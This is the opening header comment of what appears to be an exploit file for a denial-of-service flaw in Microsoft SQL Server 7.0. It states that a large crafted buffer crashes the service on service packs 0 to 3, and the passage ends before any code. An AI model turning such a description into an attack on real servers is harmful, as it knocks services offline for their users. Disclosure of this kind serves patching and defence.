MSSQL 7.0 DoS

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
?* By sending a large buffer with specified data an attacker can stop the service
?* "mssqlserver" the error noticed is different according to services' pack
?* but the result is always the same one.
?*? Exception Codes = c0000005
?* vulnerable:? MSSQL7.0 sp0 - sp1 - sp2 - sp3
